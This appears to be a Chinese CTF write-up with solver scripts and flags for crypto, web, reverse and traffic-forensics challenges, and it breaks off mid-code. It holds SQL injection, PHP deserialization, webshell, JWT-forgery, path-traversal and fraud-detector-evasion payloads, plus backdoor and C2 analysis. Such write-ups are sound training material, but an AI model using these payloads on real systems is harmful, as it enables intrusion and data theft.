### 题目一 ECDSA ### 操作内容: 题目拿到task.py和ECDSA的其他内容之后审计签名生成过程,核心问题在nonce函数中,由于ECDSA的k是随机数,但是本题依靠硬编码bias和索引i,那么就可以知道每条签名信息所对应的随机数k是多少,那么就可以根据正常的ECDSA签名生成过程通过已知随机数预测的k来计算私钥 ```python import hashlib import binascii CURVE_ORDER_N = 0x01fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa51868783bf2f966b7fcc0148f709a5d03bb5c9b8899c47aebb6fb71e91386409 def get_nonce_k(i): seed = hashlib.sha512(b"bias" + bytes([i])).digest() k = int.from_bytes(seed, "big") return k def modinv(a, m): return pow(a, m - 2, m) def solve_via_crypto_attack(): print("[-] 正在尝试通过 ECDSA 漏洞恢复私钥...") msg_bytes = b"message-\x00" sig_hex = "01a76ff5e0a4490f314ab2a0650d4e9d6955fb154c39eeec2700fefac7b4aeef1230142b1466809d30bc61f32d9ce44757b604b09e211753032c28b64ef9327db44d00c9545bcb3def28828a7424c03d5b688b7ea0581372d9efc417724ab6624244dae9283789a7d7a2f8c2f820fc032dec0c3c2363f2b759e81248f75110344cd13c26" r = int(sig_hex[:132], 16) s = int(sig_hex[132:], 16) z = int.from_bytes(hashlib.sha512(msg_bytes).digest(), "big") k = get_nonce_k(0) inv_r = modinv(r, CURVE_ORDER_N) d = (inv_r * (s * k - z)) % CURVE_ORDER_N print(f"[*] 签名恢复出的私钥 d: {d}") return d def solve_via_default_seed(): print("[-] 正在计算默认种子生成的私钥...") seed_phrase = b"Welcome to this challenge!" digest_int = int.from_bytes(hashlib.sha512(seed_phrase).digest(), "big") d = digest_int % CURVE_ORDER_N print(f"[*] 默认种子生成的私钥 d: {d}") return d if __name__ == "__main__": print("=== ECDSA Challenge Solver ===\n") target_d = solve_via_default_seed() flag_content = hashlib.md5(str(target_d).encode()).hexdigest() print("\n" + "="*30) print(f"FINAL FLAG: flag{{{flag_content}}}") print("="*30) ``` ### flag值: flag{581bdf717b780c3cd8282e5a4d50f3a0} ### 题目二 AI Waf ### 操作内容: 右上角搜索框是SQL注入点,通过mysql内联注入配合UNION联查在where_is_my_flagggggg表中干出flag `' /*!50000UNION*/ /*!50000SELECT*/ 1, 2, (/*!50000SELECT*/ Th15_ls_f149 /*!50000FROM*/ where_is_my_flagggggg) #`  ### flag值: flag{b9f022ab-735d-4654-8c4d-ac081ab39c15} ### 题目三 EzFlag ### 操作内容: 把他拖到ida直接看逻辑是需要输入密码然后就给flag了  ### flag值: flag{10632674-1d219-09f29-14769-f60219a24} ### 题目四 wasm_login ### 操作内容: 根据题目描述,我们注意到在index.html中出现了一个对应的check值  在release.js和导入对象中都可以看到处理时间的代码逻辑  那么我们就可以根据WASM认证过程中的时间戳,从2025-12-22开始来进行爆破出对应的check值  ```javascript const fs = require('fs'); const crypto = require('crypto'); const path = require('path'); const wasmPath = path.join(__dirname, 'build/release.wasm'); async function run() { const wasmBuffer = fs.readFileSync(wasmPath); const startTime = 1766332800000; const targetPrefix = "ccaf33e3512e31f3"; console.log(`[+] 开始爆破...`); console.log(`[+] 起始时间: ${new Date(startTime).toISOString()} (Timestamp: ${startTime})`); console.log(`[+] 目标 MD5 前缀: ${targetPrefix}`); let currentTime = startTime; const imports = { env: { abort() {}, "console.log"() {}, "Date.now"() { return currentTime; } } }; const { instance } = await WebAssembly.instantiate(wasmBuffer, imports); const exports = instance.exports; const memory = exports.memory; let mem32 = new Uint32Array(memory.buffer); let mem16 = new Uint16Array(memory.buffer); function __liftString(pointer) { if (!pointer) return null; const byteLen = mem32[pointer - 4 >>> 2]; const lenU16 = byteLen >>> 1; const start = pointer >>> 1; return String.fromCharCode(...mem16.subarray(start, start + lenU16)); } function __lowerString(value) { if (value == null) return 0; const length = value.length; const pointer = exports.__new(length << 1, 2) >>> 0; if (memory.buffer.byteLength !== mem32.buffer.byteLength) { mem32 = new Uint32Array(memory.buffer); mem16 = new Uint16Array(memory.buffer); } for (let i = 0; i < length; ++i) mem16[(pointer >>> 1) + i] = value.charCodeAt(i); return pointer; } const userPtr = __lowerString("admin"); const passPtr = __lowerString("admin"); const t0 = Date.now(); let iter = 0; const limit = startTime + 2 * 60 * 60 * 1000; while (currentTime < limit) { const resPtr = exports.authenticate(userPtr, passPtr); const str = __liftString(resPtr >>> 0); const hash = crypto.createHash('md5').update(str).digest('hex'); if (hash.startsWith(targetPrefix)) { console.log(`\n[!] 找到 Flag!`); console.log(`----------------------------------------`); console.log(`Timestamp : ${currentTime}`); console.log(`Date : ${new Date(currentTime).toLocaleString()}`); console.log(`JSON Output: ${str}`); console.log(`Check Value: ${hash}`); console.log(`----------------------------------------`); console.log(`Flag : flag{${hash}}`); process.exit(0); } currentTime++; iter++; if (iter % 100000 === 0) { const t1 = Date.now(); const speed = (iter / ((t1 - t0) / 1000)).toFixed(0); process.stdout.write(`\r[*] 已检查: ${iter} 次 | 当前时间: ${new Date(currentTime).toISOString()} | 速度: ${speed} iter/s`); } } } run().catch(err => console.error(err)); ``` ### flag值: flag{ccaf33e3512e31f36228f0b97ccbc8f1} ### 题目五 babygame ### 操作内容: 程序icon特征是godot,用godot re tools解包出来发现有flag.gd  是AES,给了key和对应的密文,直接解密(key应该是通关之后给的)   ```python from Crypto.Cipher import AES key_text = "FanBglFanBglOoO!" ciphertext_hex = "d458af702a680ae4d089ce32fc39945d" key_bytes = key_text.encode('utf-8') ciphertext_bytes = bytes.fromhex(ciphertext_hex) print("[*] 密钥: " + key_text) print("[*] 密文 (Hex): " + ciphertext_hex) cipher = AES.new(key_bytes, AES.MODE_ECB) decrypted_bytes = cipher.decrypt(ciphertext_bytes) flag = decrypted_bytes.decode('utf-8') print(flag) ``` ### flag值: flag{wOW~youAregrEaT!} ### 题目六 hellogate ### 操作内容: 访问页面拿到一张图片,丢到随波逐流可以获得PHP反序列化源代码  ``` A类作为入口将handle当作字符串输出,然后触发__toString(),触发之后执行B类的return $this->worker->result进而出发C类的__get($name),最后执行file_get_contents($this->cmd),那么就可以出发LFI读取/flag拿到flag,给出payload为data=O%3A1%3A%22A%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A6%3A%22worker%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A5%3A%22%2Fflag%22%3B%7Ds%3A3%3A%22cmd%22%3BN%3B%7D%7D ``` 然后在返回的图片中下载就可以获得flag  ```php cmd = '/flag'; $b = new B(); $b->worker = $c; $a = new A(); $a->handle = $b; echo serialize($a); ?> ``` ### flag值: flag{6a97429d-8665-4496-ab1b-3e2e6f6fd06b} ### 题目七 dedecms ### 操作内容: 进入网站有个Aa123456789的弱口令管理员用户,登录之后直接用PHP一句话木马在文章发布页面上传一个图片马,最后用system(‘cat /f*’)即可得到flag  ### flag值: flag{3e021970-212e-4ad9-a220-4e50d952d666} ### 题目八 The Silent Heist ### 操作内容: 题目给出的数据使用孤立森林算法监控交易的20个统计特征,只需要能把总金额搞达标而且能够逃避检查就可以,为了确保可以通过检查,我们在这里用sklearn训练一个一样的模型,然后上传给服务端即可  ```python from pwn import * import pandas as pd import numpy as np from sklearn.ensemble import IsolationForest import warnings import sys warnings.filterwarnings('ignore') context.log_level = 'info' def main(): df = pd.read_csv('public_ledger.csv') df.columns = [f'feat_{i}' for i in range(20)] iso_forest = IsolationForest(contamination=0.01,random_state=42,n_estimators=200) iso_forest.fit(df.values) original_pred = iso_forest.predict(df.values) print(f"原始数据验证 - 正常: {np.sum(original_pred == 1)}, 异常: {np.sum(original_pred == -1)}") target_total = 2000000 mean_amount = df['feat_0'].mean() n_samples = int(target_total / mean_amount * 1.05) print(f"目标总金额: ${target_total:,.2f}") print(f"平均交易金额: ${mean_amount:.2f}") print(f"计划生成 {n_samples} 条记录...") synthetic_list = [] total_amount = 0 std_values = df.std().values attempts = 0 max_attempts = n_samples * 10 p = log.progress('生成数据') while len(synthetic_list) < n_samples and attempts < max_attempts: attempts += 1 sample_idx = np.random.randint(0, len(df)) base = df.iloc[sample_idx].values.copy() noise_scale = np.random.uniform(0.01, 0.02) noise = np.random.normal(0, std_values * noise_scale) new_point = base + noise pred = iso_forest.predict(new_point.reshape(1, -1)) if pred[0] == 1: synthetic_list.append(new_point) total_amount += new_point[0] if len(synthetic_list) % 100 == 0: p.status(f"已生成 {len(synthetic_list)}/{n_samples} 条") if len(synthetic_list) >= n_samples: if total_amount < target_total: n_samples = int((target_total - total_amount) / mean_amount) + 100 p.status(f"调整目标: {n_samples}") p.success(f"生成完成: {len(synthetic_list)} 条") synthetic_data = np.array(synthetic_list) print(f"\n已生成 {len(synthetic_data)} 条样本") print(f"当前总金额: ${synthetic_data[:, 0].sum():,.2f}") if synthetic_data[:, 0].sum() < target_total: print("\n生成额外样本以满足目标金额...") needed = int((target_total - synthetic_data[:, 0].sum()) / mean_amount * 1.1) additional_list = [] for _ in range(needed): sample_idx = np.random.randint(0, len(df)) base = df.iloc[sample_idx].values.copy() noise = np.random.normal(0, std_values * 0.015) new_point = base + noise pred = iso_forest.predict(new_point.reshape(1, -1)) if pred[0] == 1: additional_list.append(new_point) if additional_list: additional_data = np.array(additional_list) synthetic_data = np.vstack([synthetic_data, additional_data]) print(f"已添加 {len(additional_data)} 条额外样本") print(f"新总金额: ${synthetic_data[:, 0].sum():,.2f}") df_synthetic = pd.DataFrame(synthetic_data, columns=[f'feat_{i}' for i in range(20)]) duplicates = df_synthetic.duplicated().sum() if duplicates > 0: print(f"发现 {duplicates} 条重复记录,正在移除...") df_synthetic = df_synthetic.drop_duplicates() while df_synthetic['feat_0'].sum() < target_total and len(df_synthetic) < 10000: sample_idx = np.random.randint(0, len(df)) base = df.iloc[sample_idx].values.copy() noise = np.random.normal(0, std_values * 0.01) new_point = base + noise new_series = pd.Series(new_point, index=df_synthetic.columns) if not df_synthetic.equals(new_series.to_frame().T): pred = iso_forest.predict(new_point.reshape(1, -1)) if pred[0] == 1: df_synthetic = pd.concat([df_synthetic, new_series.to_frame().T], ignore_index=True) final_predictions = iso_forest.predict(df_synthetic.values) final_anomaly = np.sum(final_predictions == -1) print(f"最终记录数: {len(df_synthetic)}") print(f"总金额: ${df_synthetic['feat_0'].sum():,.2f}") output_lines = [] header = ','.join([f'feat_{i}' for i in range(20)]) output_lines.append(header) for _, row in df_synthetic.iterrows(): row_str = ','.join([f'{val:.15f}' for val in row.values]) output_lines.append(row_str) output_lines.append('EOF') output_text = '\n'.join(output_lines) io = remote("39.107.157.107", 22557) initial = io.recv(timeout=5) print(initial.decode(errors='ignore')) io.send(output_text.encode()) response = io.recvall(timeout=10).decode(errors='ignore') print("\n" + "="*30 + " SERVER RESPONSE " + "="*30) print(response) print("="*77) io.close() if __name__ == "__main__": main() ``` ### flag值: flag{73d8f99b-d007-40b6-aeb5-5d2fbdd30286} ### 题目九 问卷调查 ### 操作内容: 填写问卷给flag flag{智守国赛,十九年华} ### flag值: flag{智守国赛,十九年华} ### 题目十 RSA_NestingDoll ### 操作内容: 考的是大数n的分解,根据src.py的逻辑,我们可以使用Pollard’s p-1算法进行攻击,先对内层模数n进行爆破,pqrs都是512位的随即素数,外层用1024位的光滑素数,爆破出来之后使用内层模数n作为RSA模数进行分解,只需要p满足p-1即可,我们先生成2^25以下的所有素数来覆盖p-1中可能存在的其他小因子,然后开始遍历素数表进行迭代攻击,最后解密即可  ```python import sys import time import gmpy2 from Crypto.Util.number import * inner_mod = 16141229822582999941795528434053604024130834376743380417543848154510567941426284503974843508505293632858944676904777719167211264225017879544879766461905421764911145115313698529148118556481569662427943129906246669392285465962009760415398277861235401144473728421924300182818519451863668543279964773812681294700932779276119980976088388578080667457572761731749115242478798767995746571783659904107470270861418250270529189065684265364754871076595202944616294213418165898411332609375456093386942710433731450591144173543437880652898520275020008888364820928962186107055633582315448537508963579549702813766809204496344017389879 outer_mod = 484831124108275939341366810506193994531550055695853253298115538101629337644848848341479419438032232339003236906071864005366050185096955712484824249228197577223248353640366078747360090084446361275032026781246854700074896711976487694783856878403247312312487197243272330518861346981470353394149785086635163868023866817552387681890963052199983782800993485245670437818180617561464964987316161927118605512017355921555464359512280368738197370963036482455976503266489446554327046948670215814974461717020804892983665655107351050779151227099827044949961517305345415735355361979690945791766389892262659146088374064423340675969505766640604405056526597458482705651442368165084488267428304515239897907407899916127394598273176618290300112450670040922567688605072749116061905175316975711341960774150260004939250949738836358264952590189482518415728072191137713935386026127881564386427069721229262845412925923228235712893710368875996153516581760868562584742909664286792076869106489090142359608727406720798822550560161176676501888507397207863998129261472631954482761264406483807145805232317147769145985955267206369675711834485845321043623959730914679051434102698588945009836642922614296598336035078421463808774940679339890140690147375340294139027290793 ciphertext = 657984921229942454933933403447729006306657607710326864301226455143743298424203173231485254106370042482797921667656700155904329772383820736458855765136793243316671212869426397954684784861721375098512569633961083815312918123032774700110069081262242921985864796328969423527821139281310369981972743866271594590344539579191695406770264993187783060116166611986577690957583312376226071223036478908520539670631359415937784254986105845218988574365136837803183282535335170744088822352494742132919629693849729766426397683869482842748401000853783134170305075124230522253670782186531697976487673160305610021244587265868919495629 pub_exp = 65537 SIEVE_LIMIT = 1 << 25 def prepare_small_primes(limit_val): flags = bytearray([1]) * (limit_val + 1) flags[0] = 0 flags[1] = 0 for x in range(2, int(limit_val**0.5) + 1): if flags[x]: flags[x*x : limit_val+1 : x] = bytearray([0]) * len(flags[x*x : limit_val+1 : x]) return [num for num, is_p in enumerate(flags) if is_p] def solve(): print(f"[+] Generating primes (MAX={SIEVE_LIMIT})...") primes = prepare_small_primes(SIEVE_LIMIT) print(f"[+] Primes generated: {len(primes)}") print("[+] Starting attack...") base_val = pow(2, inner_mod, outer_mod) curr_n = outer_mod recovered_primes = [] for i, p_val in enumerate(primes): if i % 200000 == 0: sys.stdout.write(f"\r[>] Progress: {i}/{len(primes)}") sys.stdout.flush() base_val = pow(base_val, p_val, curr_n) common_divisor = gmpy2.gcd(base_val - 1, curr_n) if common_divisor > 1: if gmpy2.is_prime(common_divisor): print(f"\n[!] Outer factor found: {common_divisor}") p_inner = gmpy2.gcd(common_divisor - 1, inner_mod) if p_inner > 1 and p_inner not in recovered_primes: print(f" [!] Inner factor recovered: {p_inner}") recovered_primes.append(p_inner) curr_n //= common_divisor base_val %= curr_n if len(recovered_primes) == 4: print("\n[+] All 4 factors found.") break else: print(f"\n[?] Composite factor: {common_divisor}") curr_n //= common_divisor base_val %= curr_n if len(recovered_primes) == 4: recovered_primes.sort() euler_phi = 1 for factor in recovered_primes: euler_phi *= (factor - 1) priv_d = gmpy2.invert(pub_exp, euler_phi) decrypted_int = pow(ciphertext, priv_d, inner_mod) flag_bytes = long_to_bytes(decrypted_int) print(f"\n[SUCCESS] Flag: {flag_bytes}") else: print(f"\n[FAIL] Factors: {recovered_primes}") if __name__ == '__main__': solve() ``` ### flag值: flag{fak3_r5a_0f_euler_ph1_of_RSA_040a2d35} ### 题目十一 SnakeBackdoor-2 ### 操作内容: 直接找SECRET_KEY然后在包序列找到下图的内容  用cyberchef解一下得到SECRET_KEY': 'c6242af0-6891-4510-8432-e1cdf051f160',包上flag{}为flag{c6242af0-6891-4510-8432-e1cdf051f160} ### flag值: flag{c6242af0-6891-4510-8432-e1cdf051f160} ### 题目十二 SnakeBackdoor-1 ### 操作内容: 流量包分析管理员用户POST的请求,看到路由变化可以确定密码为zxcvbnm123  ### flag值: flag{zxcvbnm123} ### 题目十四 redjs ### 操作内容: 直接用https://github.com/Chocapikk/CVE-2025-55182就可以打出来flag  ### flag值: flag{7312f6d6-70f5-46a7-a26d-4bbe7828f001} ### 题目十五 Deprecated ### 操作内容: 从获得的代码审计可以发现有jwt和路径遍历漏洞,那么就可以通过伪造jwt来获取admin权限进而通过路径遍历漏洞绕过那些system的黑名单 这里使用[nu11secur1ty/rsa_sign2n](https://github.com/nu11secur1ty/rsa_sign2n/tree/main) 先注册两个用户获取对应的jwt令牌后能够爆破出公钥   根据拿到的pem公钥使用nodejs的jswebtoken库伪造一个admin即可  最后使用伪造好的admin进行路径遍历即可得到flag ``` /checkfile?file[]=&file[]=&file[]=&file[]=&file[]=&file[]=&file[]=&file[]=&file[]=&file[]=../../../../../../../../../flag.txt&file[]=.&file=log& ``` ```javascript const jwt = require('jsonwebtoken'); const fs = require('fs'); const publicKey = fs.readFileSync('2.pem', 'utf8'); data={ username: "admin", priviledge:'File-Priviledged-User' } data = Object.assign(data); console.log( jwt.sign(data, publicKey, { algorithm:'HS256'})) ``` ### flag值: flag{7312f6d6-70f5-46a7-a26d-4bbe7828f001} ### 题目十五 ezjava ### 操作内容: 通过admin/admin123弱口令登录进管理员后台,可以发现公告预览处有Thymeleafssti,下面见poc,由于flag会被直接过滤,所以需要用concat来进行拼接  ```http POST /admin/preview HTTP/1.1 Host: 47.93.156.217:38999 Content-Length: 167 Cache-Control: max-age=0 Accept-Language: zh-CN,zh;q=0.9 Origin: http://47.93.156.217:38999 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://47.93.156.217:38999/admin;jsessionid=07C9D288F9DBD1AB7D81BDD642B2BD81 Accept-Encoding: gzip, deflate, br Cookie: JSESSIONID=07C9D288F9DBD1AB7D81BDD642B2BD81 Connection: keep-alive template= ``` ### flag值: flag{dd3a62b5-7038-4e60-bd64-76cd6e84b1c9} ### 题目十六 SnakeBackdoor-3 ### 操作内容: 在http流29180找到一个base的payload,经过解密之后就可以找到key,见下面的脚本框解密,key是v1p3r_5tr1k3_k3y   ```python import base64 import zlib current_blob = b'=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' for layer in range(50): decoded = zlib.decompress(base64.b64decode(current_blob[::-1])) text = decoded.decode() print(f'--- Layer {layer + 5} ---') print(f'Preview: {text[:60]}') if not text.startswith('exec((_)('): print('Final Code Reached!') print(text) break b_start = text.find("b'") + 2 b_end = text.rfind("'") current_blob = text[b_start:b_end].encode() ``` ### flag值: flag{v1p3r_5tr1k3_k3y} ### 题目十七 SnakeBackdoor-4 ### 操作内容: 找到payload里面的rc4之后直接编写解密脚本把对应的十六进制丢进去一个一个分析就可以看到下面有一个执行结果,在http 1817流中得到mv /tmp/shell /tmp/python3.13,故flag为python3.13  ```python import binascii RC4_SECRET = b'v1p3r_5tr1k3_k3y' def rc4_crypt(data: bytes, key: bytes) -> bytes: S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = S[j], S[i] i = j = 0 res = bytearray() for char in data: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] res.append(char ^ S[(S[i] + S[j]) % 256]) return bytes(res) req_hex = "a2ae330da7846599188b26257a88f10b50790cb47e6a97177e1053c351" try: req_bytes = binascii.unhexlify(req_hex) decrypted_req = rc4_crypt(req_bytes, RC4_SECRET) print(f"Decrypted Request: {decrypted_req}") except Exception as e: print(f"Request Decryption Error: {e}") res_hex = "8eaa704aba9f708c4bc36c3d7bd8f14e0f3a0dbe6e6ef558304a13940edac21f8da261191f095f38401963d4c9e6602c64649f69fb846592337d3f9533" try: res_bytes = binascii.unhexlify(res_hex) decrypted_res = rc4_crypt(res_bytes, RC4_SECRET) print(f"Decrypted Response: {decrypted_res}") except Exception as e: print(f"Response Decryption Error: {e}") ``` ### flag值: flag{python3.13} ### 题目十八 SnakeBackdoor-5 ### 操作内容: 根据流量包里面解密的十六进制可以找到解压密码为nf2jd092jd01,解压出来的shell放到ida中进行逆向分析,可知的是C2连接到192.168.1.201:58782,在main函数中需要接受4次随机数种子然后初始化PRNG之后生成16字节的密钥,最后进行SM4加密,由于给了对应的流量包,那么对应的seed payload为0x34952046,以此可以让四轮rand()生成对应的十六进制内容最后用小端序表示出来就是ac46fb610b313b4f32fc642d8834b456    ```python import struct class GlibcRand: def __init__(self, seed): self.r = [0] * 31 self.r[0] = seed for i in range(1, 31): val = (16807 * self.r[i-1]) % 2147483647 if val < 0: val += 2147483647 self.r[i] = val self.i = 3 self.j = 0 for _ in range(310): self.rand() def rand(self): val = (self.r[self.i] + self.r[self.j]) & 0xFFFFFFFF self.r[self.i] = val self.i = (self.i + 1) % 31 self.j = (self.j + 1) % 31 return (val >> 1) & 0x7FFFFFFF SboxTable = [ 0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05, 0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99, 0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62, 0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6, 0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8, 0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35, 0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87, 0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e, 0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1, 0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3, 0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f, 0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51, 0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8, 0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0, 0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84, 0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48 ] FK = [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc] CK = [ 0x00070e15,0x1c232a31,0x383f464d,0x545b6269, 0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9, 0xe0e7eef5,0xfc030a11,0x181f262d,0x343b4249, 0x50575e65,0x6c737a81,0x888f969d,0xa4abb2b9, 0xc0c7ced5,0xdce3eaf1,0xf8ff060d,0x141b2229, 0x30373e45,0x4c535a61,0x686f767d,0x848b9299, 0xa0a7aeb5,0xbcc3cad1,0xd8dfe6ed,0xf4fb0209, 0x10171e25,0x2c333a41,0x484f565d,0x646b7279 ] def GET_UINT32_BE(b, i): return (b[i] << 24) | (b[i+1] << 16) | (b[i+2] << 8) | b[i+3] def PUT_UINT32_BE(n, b, i): b[i] = (n >> 24) & 0xff b[i+1] = (n >> 16) & 0xff b[i+2] = (n >> 8) & 0xff b[i+3] = n & 0xff def ROL(x, n): return ((x << n) & 0xffffffff) | (x >> (32 - n)) def sm4_l_t(b): return b ^ ROL(b, 2) ^ ROL(b, 10) ^ ROL(b, 18) ^ ROL(b, 24) def sm4_calci_rk(a): return a ^ ROL(a, 13) ^ ROL(a, 23) def sm4_sbox(b): return SboxTable[b] def sm4_t_new(a): b = (SboxTable[(a >> 24) & 0xff] << 24) | \ (SboxTable[(a >> 16) & 0xff] << 16) | \ (SboxTable[(a >> 8) & 0xff] << 8) | \ (SboxTable[a & 0xff]) return b class SM4: def __init__(self): self.rk = 